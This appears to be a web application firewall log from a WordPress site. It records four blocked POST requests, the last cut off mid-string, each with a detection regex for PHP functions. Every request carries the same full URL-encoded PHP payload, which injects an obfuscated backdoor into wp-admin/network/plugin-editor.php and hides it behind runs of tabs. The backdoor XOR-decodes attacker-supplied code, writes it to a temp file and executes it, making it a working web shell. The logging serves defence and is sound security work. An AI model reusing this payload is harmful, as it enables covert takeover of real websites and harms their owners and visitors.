["2026-05-12 17:53:23","67.205.18.1","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Aq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%253B%2520%2524descriptor%253D%2527%2527%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524element%2529%253B%2520%2524r%252B%252B%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524element%255B%2524r%255D%2529%2520%255E%252085%2529%253B%257D%2520%2524holder%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524sym%2520%253D%25200%253B%2520do%2520%257B%2520%2524data_chunk%2520%253D%2520%2524holder%255B%2524sym%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524sym%2520%253E%253D%2520count%2528%2524holder%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524data_chunk%2529%2520%253F%2520is_writable%2528%2524data_chunk%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524desc%252C%2520%2524descriptor%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524sym%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDKRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4081\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\n\nAq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%253B%2520%2524descriptor%253D%2527%2527%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524element%2529%253B%2520%2524r%252B%252B%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524element%255B%2524r%255D%2529%2520%255E%252085%2529%253B%257D%2520%2524holder%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524sym%2520%253D%25200%253B%2520do%2520%257B%2520%2524data_chunk%2520%253D%2520%2524holder%255B%2524sym%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524sym%2520%253E%253D%2520count%2528%2524holder%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524data_chunk%2529%2520%253F%2520is_writable%2528%2524data_chunk%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524desc%252C%2520%2524descriptor%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524sym%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:53:28","188.138.39.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Sh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%253B%2520%2524descriptor%253D%2527%2527%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524element%2529%253B%2520%2524r%252B%252B%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524element%255B%2524r%255D%2529%2520%255E%252085%2529%253B%257D%2520%2524holder%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524sym%2520%253D%25200%253B%2520do%2520%257B%2520%2524data_chunk%2520%253D%2520%2524holder%255B%2524sym%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524sym%2520%253E%253D%2520count%2528%2524holder%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524data_chunk%2529%2520%253F%2520is_writable%2528%2524data_chunk%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524desc%252C%2520%2524descriptor%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524sym%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH2tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4081\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\n\nSh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%253B%2520%2524descriptor%253D%2527%2527%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524element%2529%253B%2520%2524r%252B%252B%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524element%255B%2524r%255D%2529%2520%255E%252085%2529%253B%257D%2520%2524holder%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524sym%2520%253D%25200%253B%2520do%2520%257B%2520%2524data_chunk%2520%253D%2520%2524holder%255B%2524sym%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524sym%2520%253E%253D%2520count%2528%2524holder%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524data_chunk%2529%2520%253F%2520is_writable%2528%2524data_chunk%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524desc%252C%2520%2524descriptor%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524sym%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:53:39","179.27.99.226","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%253B%2520%2524descriptor%253D%2527%2527%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524element%2529%253B%2520%2524r%252B%252B%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524element%255B%2524r%255D%2529%2520%255E%252085%2529%253B%257D%2520%2524holder%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524sym%2520%253D%25200%253B%2520do%2520%257B%2520%2524data_chunk%2520%253D%2520%2524holder%255B%2524sym%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524sym%2520%253E%253D%2520count%2528%2524holder%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524data_chunk%2529%2520%253F%2520is_writable%2528%2524data_chunk%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524desc%252C%2520%2524descriptor%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524sym%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq0jvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4081\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\n\nwL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%253B%2520%2524descriptor%253D%2527%2527%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524element%2529%253B%2520%2524r%252B%252B%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524element%255B%2524r%255D%2529%2520%255E%252085%2529%253B%257D%2520%2524holder%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524sym%2520%253D%25200%253B%2520do%2520%257B%2520%2524data_chunk%2520%253D%2520%2524holder%255B%2524sym%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524sym%2520%253E%253D%2520count%2528%2524holder%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524data_chunk%2529%2520%253F%2520is_writable%2528%2524data_chunk%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524desc%252C%2520%2524descriptor%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524sym%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:53:45","162.240.108.214","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Er:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%253B%2520%2524descriptor%253D%2527%2527%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524element%2529%253B%2520%2524r%252B%252B%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524element%255B%2524r%255D%2529%2520%255E%252085%2529%253B%257D%2520%2524holder%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524sym%2520%253D%25200%253B%2520do%2520%257B%2520%2524data_chunk%2520%253D%2520%2524holder%255B%2524sym%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524sym%2520%253E%253D%2520count%2528%2524holder%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524data_chunk%2529%2520%253F%2520is_writable%2528%2524data_chunk%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524desc%252C%2520%2524descriptor%2529%2520%2521%253D%253D%2520false%2529%2520%257B%